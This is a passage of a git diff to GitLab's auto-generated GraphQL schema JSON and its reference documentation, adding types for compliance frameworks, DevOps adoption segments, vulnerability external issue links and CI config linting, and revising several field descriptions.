- "defaultValue": null
- },
- {
- "name": "labelIds",
- "description": "The IDs of labels to be added to the board.",
+ "name": "id",
+ "description": "The board global ID.",
"type": {
- "kind": "LIST",
+ "kind": "NON_NULL",
"name": null,
"ofType": {
- "kind": "NON_NULL",
- "name": null,
- "ofType": {
- "kind": "SCALAR",
- "name": "LabelID",
- "ofType": null
- }
+ "kind": "SCALAR",
+ "name": "BoardID",
+ "ofType": null
}
},
"defaultValue": null
@@ -64269,6 +68777,138 @@
},
{
"kind": "INPUT_OBJECT",
+ "name": "UpdateComplianceFrameworkInput",
+ "description": "Autogenerated input type of UpdateComplianceFramework",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "The global ID of the compliance framework to update",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ComplianceManagementFrameworkID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "name",
+ "description": "New name for the compliance framework",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "description",
+ "description": "New description for the compliance framework",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "color",
+ "description": "New color representation of the compliance framework in hex format. e.g. #FCA121",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "UpdateComplianceFrameworkPayload",
+ "description": "Autogenerated return type of UpdateComplianceFramework",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "complianceFramework",
+ "description": "The compliance framework after mutation",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ComplianceFramework",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
"name": "UpdateContainerExpirationPolicyInput",
"description": "Autogenerated input type of UpdateContainerExpirationPolicy",
"fields": null,
@@ -64431,6 +69071,140 @@
},
{
"kind": "INPUT_OBJECT",
+ "name": "UpdateDevopsAdoptionSegmentInput",
+ "description": "Autogenerated input type of UpdateDevopsAdoptionSegment",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "name",
+ "description": "Name of the segment",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "groupIds",
+ "description": "The array of group IDs to set for the segment",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "GroupID",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "id",
+ "description": "ID of the segment",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "AnalyticsDevopsAdoptionSegmentID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "UpdateDevopsAdoptionSegmentPayload",
+ "description": "Autogenerated return type of UpdateDevopsAdoptionSegment",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "segment",
+ "description": "The segment after mutation",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DevopsAdoptionSegment",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
"name": "UpdateDiffImagePositionInput",
"description": null,
"fields": null,
@@ -64488,7 +69262,7 @@
"inputFields": [
{
"name": "iid",
- "description": "The iid of the epic to mutate",
+ "description": "The IID of the epic to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -64720,7 +69494,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global id of the note to update",
+ "description": "The global ID of the note to update",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -65094,7 +69868,7 @@
"inputFields": [
{
"name": "groupPath",
- "description": "The group of the iteration",
+ "description": "Group of the iteration.",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -65108,7 +69882,7 @@
},
{
"name": "id",
- "description": "The id of the iteration",
+ "description": "Global ID of the iteration.",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -65122,7 +69896,7 @@
},
{
"name": "title",
- "description": "The title of the iteration",
+ "description": "Title of the iteration.",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -65132,7 +69906,7 @@
},
{
"name": "description",
- "description": "The description of the iteration",
+ "description": "Description of the iteration.",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -65142,7 +69916,7 @@
},
{
"name": "startDate",
- "description": "The start date of the iteration",
+ "description": "Start date of the iteration.",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -65152,7 +69926,7 @@
},
{
"name": "dueDate",
- "description": "The end date of the iteration",
+ "description": "End date of the iteration.",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -65222,7 +69996,7 @@
},
{
"name": "iteration",
- "description": "The updated iteration",
+ "description": "Updated iteration.",
"args": [
],
@@ -65250,7 +70024,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global id of the note to update",
+ "description": "The global ID of the note to update",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -65416,7 +70190,7 @@
},
{
"name": "iid",
- "description": "The iid of the requirement to update",
+ "description": "The IID of the requirement to update",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -65528,7 +70302,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global id of the snippet to update",
+ "description": "The global ID of the snippet to update",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -65856,6 +70630,16 @@
"defaultValue": null
},
{
+ "name": "reviewerUsername",
+ "description": "Username of the reviewer",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "after",
"description": "Returns the elements in the list that come after the specified cursor.",
"type": {
@@ -66061,6 +70845,16 @@
"defaultValue": null
},
{
+ "name": "reviewerUsername",
+ "description": "Username of the reviewer",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "after",
"description": "Returns the elements in the list that come after the specified cursor.",
"type": {
@@ -66125,7 +70919,7 @@
},
{
"name": "email",
- "description": "User email",
+ "description": "User email Deprecated in 13.7: Use public_email.",
"args": [
],
@@ -66134,12 +70928,12 @@
"name": "String",
"ofType": null
},
- "isDeprecated": false,
- "deprecationReason": null
+ "isDeprecated": true,
+ "deprecationReason": "Use public_email. Deprecated in 13.7."
},
{
"name": "groupCount",
- "description": "Group count for the user. Available only when feature flag `user_group_counts` is enabled",
+ "description": "Group count for the user Available only when feature flag `user_group_counts` is enabled.",
"args": [
],
@@ -66223,6 +71017,20 @@
"deprecationReason": null
},
{
+ "name": "location",
+ "description": "The location of the user.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "name",
"description": "Human-readable name of the user",
"args": [
@@ -66294,6 +71102,235 @@
"deprecationReason": null
},
{
+ "name": "publicEmail",
+ "description": "User's public email",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "reviewRequestedMergeRequests",
+ "description": "Merge Requests assigned to the user for review",
+ "args": [
+ {
+ "name": "iids",
+ "description": "Array of IIDs of merge requests, for example `[1, 2]`",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "sourceBranches",
+ "description": "Array of source branch names. All resolved merge requests will have one of these branches as their source.",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "targetBranches",
+ "description": "Array of target branch names. All resolved merge requests will have one of these branches as their target.",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "state",
+ "description": "A merge request state. If provided, all resolved merge requests will have this state.",
+ "type": {
+ "kind": "ENUM",
+ "name": "MergeRequestState",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "labels",
+ "description": "Array of label names. All resolved merge requests will have all of these labels.",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "mergedAfter",
+ "description": "Merge requests merged after this date",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "mergedBefore",
+ "description": "Merge requests merged before this date",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "milestoneTitle",
+ "description": "Title of the milestone",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "sort",
+ "description": "Sort merge requests by this criteria",
+ "type": {
+ "kind": "ENUM",
+ "name": "MergeRequestSort",
+ "ofType": null
+ },
+ "defaultValue": "created_desc"
+ },
+ {
+ "name": "projectPath",
+ "description": "The full-path of the project the authored merge requests should be in. Incompatible with projectId.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "projectId",
+ "description": "The global ID of the project the authored merge requests should be in. Incompatible with projectPath.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "ProjectID",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "authorUsername",
+ "description": "Username of the author",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "assigneeUsername",
+ "description": "Username of the assignee",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "MergeRequestConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "snippets",
"description": "Snippets authored by the user",
"args": [
@@ -67474,11 +72511,35 @@
"possibleTypes": null
},
{
+ "kind": "SCALAR",
+ "name": "VulnerabilitiesExternalIssueLinkID",
+ "description": "Identifier of Vulnerabilities::ExternalIssueLink",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "Vulnerability",
"description": "Represents a vulnerability",
"fields": [
{
+ "name": "confirmedAt",
+ "description": "Timestamp of when the vulnerability state was changed to confirmed",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "description",
"description": "Description of the vulnerability",
"args": [
@@ -67568,6 +72629,91 @@
"deprecationReason": null
},
{
+ "name": "dismissedAt",
+ "description": "Timestamp of when the vulnerability state was changed to dismissed",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "externalIssueLinks",
+ "description": "List of external issue links related to the vulnerability",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLinkConnection",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "hasSolutions",
+ "description": "Indicates whether there is a solution available for this vulnerability.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "id",
"description": "GraphQL ID of the vulnerability",
"args": [
@@ -67693,6 +72839,20 @@
"deprecationReason": null
},
{
+ "name": "mergeRequest",
+ "description": "Merge request that fixes the vulnerability.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "MergeRequest",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "notes",
"description": "All notes on this noteable",
"args": [
@@ -67792,6 +72952,20 @@
"deprecationReason": null
},
{
+ "name": "resolvedAt",
+ "description": "Timestamp of when the vulnerability state was changed to resolved",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "resolvedOnDefaultBranch",
"description": "Indicates whether the vulnerability is fixed on the default branch or not",
"args": [
@@ -68254,6 +73428,433 @@
"possibleTypes": null
},
{
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLink",
+ "description": "Represents an external issue link of a vulnerability",
+ "fields": [
+ {
+ "name": "externalIssue",
+ "description": "The external issue attached to the issue link",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ExternalIssue",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "id",
+ "description": "GraphQL ID of the external issue link",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "VulnerabilitiesExternalIssueLinkID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "linkType",
+ "description": "Type of the external issue link",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilityExternalIssueLinkType",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLinkConnection",
+ "description": "The connection type for VulnerabilityExternalIssueLink.",
+ "fields": [
+ {
+ "name": "edges",
+ "description": "A list of edges.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLinkEdge",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "nodes",
+ "description": "A list of nodes.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLink",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pageInfo",
+ "description": "Information to aid in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "PageInfo",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
+ "name": "VulnerabilityExternalIssueLinkCreateInput",
+ "description": "Autogenerated input type of VulnerabilityExternalIssueLinkCreate",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "ID of the vulnerability.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "VulnerabilityID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "linkType",
+ "description": "Type of the external issue link.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilityExternalIssueLinkType",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "externalTracker",
+ "description": "External tracker type of the external issue link.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilityExternalIssueLinkExternalTracker",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLinkCreatePayload",
+ "description": "Autogenerated return type of VulnerabilityExternalIssueLinkCreate",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "externalIssueLink",
+ "description": "The created external issue link.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLink",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
+ "name": "VulnerabilityExternalIssueLinkDestroyInput",
+ "description": "Autogenerated input type of VulnerabilityExternalIssueLinkDestroy",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "The global ID of the vulnerability external issue link.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "VulnerabilitiesExternalIssueLinkID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLinkDestroyPayload",
+ "description": "Autogenerated return type of VulnerabilityExternalIssueLinkDestroy",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLinkEdge",
+ "description": "An edge in a connection.",
+ "fields": [
+ {
+ "name": "cursor",
+ "description": "A cursor for use in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "node",
+ "description": "The item at the end of the edge.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLink",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "ENUM",
+ "name": "VulnerabilityExternalIssueLinkExternalTracker",
+ "description": "The external tracker of the external issue link related to a vulnerability",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "JIRA",
+ "description": "Jira external tracker",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
+ "kind": "ENUM",
+ "name": "VulnerabilityExternalIssueLinkType",
+ "description": "The type of the external issue link related to a vulnerability",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "CREATED",
+ "description": "Created link type",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
"kind": "ENUM",
"name": "VulnerabilityGrade",
"description": "The grade of the vulnerable project",
@@ -69054,6 +74655,24 @@
"deprecationReason": null
},
{
+ "name": "adminVulnerabilityExternalIssueLink",
+ "description": "Indicates the user can perform `admin_vulnerability_external_issue_link` on this resource",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "adminVulnerabilityIssueLink",
"description": "Indicates the user can perform `admin_vulnerability_issue_link` on this resource",
"args": [
diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md
index c46f12bcdcd..2842f7893bf 100644
--- a/doc/api/graphql/reference/index.md
+++ b/doc/api/graphql/reference/index.md
@@ -1,3 +1,9 @@
+---
+stage: Plan
+group: Project Management
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
<!---
This documentation is auto generated by a script.
@@ -13,14 +19,14 @@ The API can be explored interactively using the [GraphiQL IDE](../index.md#graph
Each table below documents a GraphQL type. Types match loosely to models, but not all
fields and methods on a model are available via GraphQL.
-CAUTION: **Caution:**
+WARNING:
Fields that are deprecated are marked with **{warning-solid}**.
Items (fields, enums, etc) that have been removed according to our [deprecation process](../index.md#deprecation-process) can be found
in [Removed Items](../removed_items.md).
## Object types
-Object types represent the resources that GitLab's GraphQL API can return.
+Object types represent the resources that the GitLab GraphQL API can return.
They contain _fields_. Each field has its own type, which will either be one of the
basic GraphQL [scalar types](https://graphql.org/learn/schema/#scalar-types)
(e.g.: `String` or `Boolean`) or other object types.
@@ -236,16 +242,17 @@ Represents a project or group board.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `assignee` | User | The board assignee. |
-| `epics` | BoardEpicConnection | Epics associated with board issues. |
-| `hideBacklogList` | Boolean | Whether or not backlog list is hidden. |
-| `hideClosedList` | Boolean | Whether or not closed list is hidden. |
+| `assignee` | User | The board assignee |
+| `epics` | BoardEpicConnection | Epics associated with board issues |
+| `hideBacklogList` | Boolean | Whether or not backlog list is hidden |
+| `hideClosedList` | Boolean | Whether or not closed list is hidden |
| `id` | ID! | ID (global ID) of the board |
+| `iteration` | Iteration | The board iteration. |
| `labels` | LabelConnection | Labels of the board |
| `lists` | BoardListConnection | Lists of the board |
-| `milestone` | Milestone | The board milestone. |
+| `milestone` | Milestone | The board milestone |
| `name` | String | Name of the board |
-| `weight` | Int | Weight of the board. |
+| `weight` | Int | Weight of the board |
### BoardEpic
@@ -367,6 +374,45 @@ Represents the total number of issues and their weights for a particular day.
| `scopeCount` | Int! | Number of issues as of this day |
| `scopeWeight` | Int! | Total weight of issues as of this day |
+### CiConfig
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `errors` | String! => Array | Linting errors |
+| `mergedYaml` | String | Merged CI config YAML |
+| `stages` | CiConfigStage! => Array | Stages of the pipeline |
+| `status` | CiConfigStatus | Status of linting, can be either valid or invalid |
+
+### CiConfigGroup
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `jobs` | CiConfigJob! => Array | Jobs in group |
+| `name` | String | Name of the job group |
+| `size` | Int | Size of the job group |
+
+### CiConfigJob
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `groupName` | String | Name of the job group |
+| `name` | String | Name of the job |
+| `needs` | CiConfigNeed! => Array | Builds that must complete before the jobs run |
+| `stage` | String | Name of the job stage |
+
+### CiConfigNeed
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `name` | String | Name of the need |
+
+### CiConfigStage
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `groups` | CiConfigGroup! => Array | Groups of jobs for the stage |
